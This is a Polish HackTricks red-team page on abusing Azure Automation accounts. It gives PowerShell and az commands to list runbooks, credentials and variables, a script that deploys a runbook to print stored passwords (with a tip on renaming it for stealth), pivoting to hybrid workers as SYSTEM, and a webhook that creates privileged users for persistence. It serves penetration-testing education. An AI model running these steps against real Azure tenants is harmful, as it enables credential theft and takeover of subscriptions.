Az - Automation Account

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Podstawowe informacje

Z dokumentacji: Azure Automation dostarcza usługę automatyzacji w chmurze, aktualizacji systemu operacyjnego i konfiguracji, która obsługuje spójne zarządzanie w Twoim środowisku Azure i nie-Azure. Obejmuje automatyzację procesów, zarządzanie konfiguracją, zarządzanie aktualizacjami, wspólne możliwości i funkcje heterogeniczne.

Są to jak "zaplanowane zadania" w Azure, które umożliwiają wykonywanie czynności (działań lub nawet skryptów) w celu zarządzania, sprawdzania i konfigurowania środowiska Azure.

Konto Run As

Kiedy jest używane Konto Run As, tworzy aplikację Azure AD z samopodpisanym certyfikatem, tworzy service principal i przypisuje rolę Contributor dla konta w bieżącej subskrypcji (wiele uprawnień). Microsoft zaleca korzystanie z Identyfikatora zarządzanego dla konta automatyzacji.

To zostanie usunięte 30 września 2023 roku i zmienione na Identyfikatory zarządzane.

Runbooki i zadania

Runbooki pozwalają na wykonywanie dowolnego kodu PowerShell. Może to być wykorzystane przez atakującego, aby ukraść uprawnienia dołączonego podmiotu (jeśli istnieje). W kodzie Runbooków można również znaleźć wrażliwe informacje (takie jak dane uwierzytelniające).

Jeśli możesz odczytać zadania, zrób to, ponieważ zawierają wyjście wykonania (potencjalnie wrażliwe informacje).

Przejdź do Konta automatyzacji --> <Wybierz konto automatyzacji> --> Runbooki/Zadania/Grupy hybrydowe pracowników/Zadania obserwatora/Uprawnienia/Zmienne/Certyfikaty/Połączenia

Pracownik hybrydowy

Runbook może być uruchamiany w kontenerze w Azure lub w pracowniku hybrydowym (maszyna spoza Azure). Na VM jest wdrażany agent Log Analytics, aby zarejestrować go jako pracownika hybrydowego. Zadania pracownika hybrydowego są uruchamiane jako SYSTEM w systemie Windows i jako konto nxautomation w systemie Linux. Każdy pracownik hybrydowy jest zarejestrowany w grupie pracowników hybrydowych.

Dlatego, jeśli możesz wybrać uruchomienie Runbooka w pracowniku hybrydowym Windows, wykonasz dowolne polecenia na zewnętrznej maszynie jako System (fajna technika pivot).

Kompromitacja konfiguracji stanu (SC)

Z dokumentacji: Azure Automation State Configuration to usługa zarządzania konfiguracją Azure, która umożliwia pisanie, zarządzanie i kompilowanie konfiguracji stanu pożądanego PowerShell (DSC) konfiguracje dla węzłów w dowolnym centrum danych w chmurze lub lokalnym. Usługa importuje również zasoby DSC i przypisuje konfiguracje do docelowych węzłów, wszystko w chmurze. Możesz uzyskać dostęp do konfiguracji stanu Azure Automation w portalu Azure, wybierając Konfiguracja stanu (DSC) w sekcji Zarządzanie konfiguracją.

Wrażliwe informacje mogą być zawarte w tych konfiguracjach.

RCE

Możliwe jest wykorzystanie SC do uruchamiania dowolnych skryptów na zarządzanych maszynach.

pageAz - State Configuration RCE

Wyliczanie

# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group

# Gets Azure Automation accounts in a resource group
Get-AzAutomationAccount

# List & get DSC configs
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)

# List & get Run books code
Get-AzAutomationAccount | Get-AzAutomationRunbook
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp

# List credentials & variables & others
Get-AzAutomationAccount | Get-AzAutomationCredential
Get-AzAutomationAccount | Get-AzAutomationVariable
Get-AzAutomationAccount | Get-AzAutomationConnection
Get-AzAutomationAccount | Get-AzAutomationCertificate
Get-AzAutomationAccount | Get-AzAutomationSchedule
Get-AzAutomationAccount | Get-AzAutomationModule
Get-AzAutomationAccount | Get-AzAutomationPython3Package
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them

# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>

Utwórz Runbook

# Get the role of a user on the Automation account
# Contributor or higher = Can create and execute Runbooks
Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>

# Create a Powershell Runbook
Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose

# Publish the Runbook
Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

# Start the Runbook
Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

Wyciekaj poświadczenia i zmienne zdefiniowane w koncie automatyzacji za pomocą skryptu uruchamianego

# Change the crdentials & variables names and add as many as you need
@'
$creds = Get-AutomationPSCredential -Name <credentials_name>
$runbook_variable = Get-AutomationVariable -name <variable_name>
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password
'@ | out-file -encoding ascii 'runbook_get_creds.ps1'

$ResourceGroupName = '<resource_group_name>'
$AutomationAccountName = '<auto_acc_name>'
$RunBookName = 'Exif-Credentials' #Change this for stealthness

# Creare Run book, publish, start, and get output
New-AzAutomationRunBook -name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Type PowerShell
Import-AzAutomationRunBook -Path 'runbook_get_creds.ps1' -Name $RunBookName -Type PowerShell -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Force
Publish-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
$start = Start-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
start-sleep 20
($start | Get-AzAutomationJob | Get-AzAutomationJobOutput).Summarynt

Możesz zrobić to samo, modyfikując istniejący Run Book, z poziomu konsoli internetowej.

Kroki do skonfigurowania automatycznego tworzenia użytkownika o wysokich uprawnieniach

1. Inicjalizacja konta automatyzacji

  • Wymagane działanie: Utwórz nowe konto automatyzacji.

  • Konkretna konfiguracja: Upewnij się, że opcja "Utwórz konto Azure Run As" jest włączona.

2. Import i konfiguracja Runbooka

  • Źródło: Pobierz przykładowy runbook z repozytorium GitHub MicroBurst.

  • Wymagane działania:

  • Zaimportuj runbook do konta automatyzacji.

  • Opublikuj runbook, aby można go było uruchomić.

  • Dołącz webhook do runbooka, umożliwiając wyzwalanie zewnętrzne.

3. Konfiguracja modułu AzureAD

  • Wymagane działanie: Dodaj moduł AzureAD do konta automatyzacji.

  • Dodatkowy krok: Upewnij się, że wszystkie moduły automatyzacji Azure są zaktualizowane do najnowszych wersji.

4. Przypisanie uprawnień

  • Role do przypisania:

  • Administrator użytkownika

  • Właściciel subskrypcji

  • Cel: Przypisz te role do konta automatyzacji, aby uzyskać niezbędne uprawnienia.

5. Świadomość potencjalnej utraty dostępu

  • Uwaga: Pamiętaj, że konfiguracja takiej automatyzacji może prowadzić do utraty kontroli nad subskrypcją.

6. Wywołanie tworzenia użytkownika

  • Wywołaj webhook, aby utworzyć nowego użytkownika, wysyłając żądanie POST.

  • Użyj dostarczonego skryptu PowerShell, upewniając się, że zastąpisz $uri rzeczywistym adresem URL webhooka i zaktualizujesz $AccountInfo z pożądaną nazwą użytkownika i hasłem.

$uri = "<YOUR_WEBHOOK_URL>"
$AccountInfo  = @(@{RequestBody=@{Username="<DESIRED_USERNAME>";Password="<DESIRED_PASSWORD>"}})
$body = ConvertTo-Json -InputObject $AccountInfo
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body

Odwołania

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated